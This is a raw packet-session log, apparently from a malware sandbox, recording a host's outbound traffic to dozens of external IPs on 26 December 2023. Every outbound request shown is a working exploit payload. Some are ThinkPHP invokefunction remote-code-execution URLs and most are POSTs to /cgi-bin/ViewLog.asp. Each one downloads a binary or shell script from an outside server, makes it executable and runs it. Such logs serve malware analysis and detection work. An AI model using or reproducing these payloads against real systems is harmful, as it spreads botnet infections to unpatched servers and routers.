Dec 26, 2023 21:24:20.307832956 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:20.563178062 CET	404	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:24:20 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
313	192.168.2.23	39334	95.216.141.2	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:20.318634033 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:20.587796926 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.19.2 Date: Tue, 26 Dec 2023 20:24:20 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 39 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.19.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
314	192.168.2.23	47464	85.154.215.12	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:22.851171017 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:26.900109053 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
315	192.168.2.23	50502	88.212.253.244	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:22.888628006 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:23.164177895 CET	354	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.2 Date: Tue, 26 Dec 2023 20:24:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Data Raw: 39 64 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 9d<html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.2</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
316	192.168.2.23	58958	94.120.59.85	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:23.725050926 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
317	192.168.2.23	52746	94.121.73.218	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:23.725094080 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
318	192.168.2.23	58422	95.183.80.80	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:23.727333069 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:25.172281981 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
319	192.168.2.23	34776	94.122.70.190	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:23.731770039 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
320	192.168.2.23	36760	95.131.128.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:23.862339020 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:25.204282045 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
321	192.168.2.23	45932	31.136.20.6	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:23.993484020 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:24.820394039 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:26.452069044 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:29.715632915 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:36.370680094 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:49.424838066 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:16.557029009 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
322	192.168.2.23	54492	94.121.40.3	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:24.026395082 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
323	192.168.2.23	53188	62.213.83.106	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:24.139302015 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
324	192.168.2.23	34966	31.136.77.169	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:24.244035006 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:25.012466908 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:26.548054934 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:29.715621948 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:35.858745098 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:48.145060062 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:12.461602926 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:26:01.606780052 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
325	192.168.2.23	39574	94.121.114.95	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:24.304661989 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
326	192.168.2.23	37704	31.43.191.37	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:25.278394938 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:25.515615940 CET	314	IN	HTTP/1.1 404 Not Found Server: openresty Date: Tue, 26 Dec 2023 20:24:25 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
327	192.168.2.23	43960	31.136.3.44	8080

Timestamp	Bytes transferred	Direction	Data
